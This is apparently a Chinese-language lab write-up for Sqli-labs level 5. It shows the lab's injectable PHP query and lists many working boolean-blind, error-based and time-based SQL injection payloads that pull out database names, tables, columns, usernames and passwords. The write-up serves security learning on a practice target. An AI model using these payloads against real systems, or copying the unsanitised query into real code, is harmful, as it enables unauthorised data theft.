重闯Sqli-labs关卡第二天(5关)

第五关(双注入GET单引号字符型注入-报错时间注入)

盲注
盲注，Blind SQL Injection
基于布尔SQL盲注
基于时间的SQL盲注
基于报错的SQL盲注

核心代码:(不会返回数据库中的数据)

 1 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
 2 $result=mysql_query($sql);
 3 $row = mysql_fetch_array($result);
 4 if($row)
 5 {
 6 echo '';    
 7 echo 'You are in...........';
 8 echo "
";
 9 echo "";
10 }
11 else 
12 {
13 
14 echo '';
15 print_r(mysql_error());
16 echo "
";    
17 echo '';    
18 
19 }
20 }
21 else { echo "Please input the ID as parameter with numeric value";}

 

 1 1.探测PHP版本号
 2 id=1' and left(version(),1)=5%23
 3 
 4 2.探测数据库长度
 5 id=1' and length(database())=8%23
 6 探测数据库名(采用二分法)
 7 id=1' and left(database(),1)>'a'%23
 8 id=1' and left(database(),1)='s'%23
 9 id=1' and left(database(),2)>'se'%23
10 id=1' and left(database(),2)='se'%23
11 id=1' and left(database(),3)>'sec'%23
12 id=1' and left(database(),3)='sec'%23
13 ........
14 id=1' and left(database(),8)='security'%23
15 
16 
17 3.获取表名
18 substr() ascii()函数进行尝试
19 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>82%23
20 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101%23
21 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109%23
22 ...
23 逐步测试得出表名为:email
24 想获取第二个表替换limit 后面的值即可第二张表就是limit 1,1
25 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=113%23
26 
27 
28 4.获取urser中的列
29 利用regexp获取
30 通过regexp检测是否有us**列
31 id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+'
32 通过regexp检测而是否有username开头的列
33 id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+
34 
35 5.获取列中的内容
36 利用ord()和mid()函数获取users表的内容
37 IFNULL()用于判断第一个表达式是否为NULL 如果是返回第二个 否则返回第一个
38 CAST()把一个字段转成另一个字段
39 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>68--+
40 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
41 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>68--+
42 id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),2,1))=68--+
43 最后爆出 Dumb

 

 

第二种方法:报错注入

 1 id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
 2 
 3 数值类型超出范围进行报错注入
 4 id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
 5 
 6 利用bigint溢出进行报错注入
 7 id=1' union select (!(select * from (select user())x) - ~0),2,3--+
 8 
 9 xpath函数报错注入
10 id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+
11 
12 id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
13 
14 利用数据的重复性
15 id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

 

第三种：sleep延迟注入

sleep注入是另一种形式的盲注，与bool注入不同,sleep注入没有任何报错信息输出，页面返回不管对或者错都是一种状态，
攻击者无法通过页面返回状态来判断输入的SQL注入测试语句是否正确，只能通过构造sleep注入的SQL测试语句，根据页面的返回时间判断数据库中存储了那些信息
判断是否是时间延迟型的注入

 1 ' and sleep(5)--+
 2 爆数据库长度
 3 ' and if(length(database())=8,sleep(5),1)--+
 4 爆数据库名
 5 ' and if(ascii(substr(database(),1,1))>5,sleep(5),1)--+
 6 OR
 7 ' and if(left(database(),1)='s',sleep(5),1)--+
 8 爆判断数据库表数量
 9 ' and if((select count(*) from information_schema.tables where table_schema=database())>1,sleep(5),1)--+
10 爆表名
11 ' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),1)--+
12 OR
13 ' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
14 ' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='e' --+
15 判断字段数量
16 ' and if((select count(*) from information_schema.columns where table_name='users')>1,sleep(5),1)--+
17 判断字段名
18 ' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),1)='f'--+
19 爆字段下的数据
20 ' and left((select password from users limit 0,1),1)='D' --+

 

附:ASCII转换:https://www.qqxiuzi.cn/bianma/ascii.htm
参考学习:https://www.cnblogs.com/lcamry/articles/5717442.html
https://www.cnblogs.com/lcamry/p/6122257.html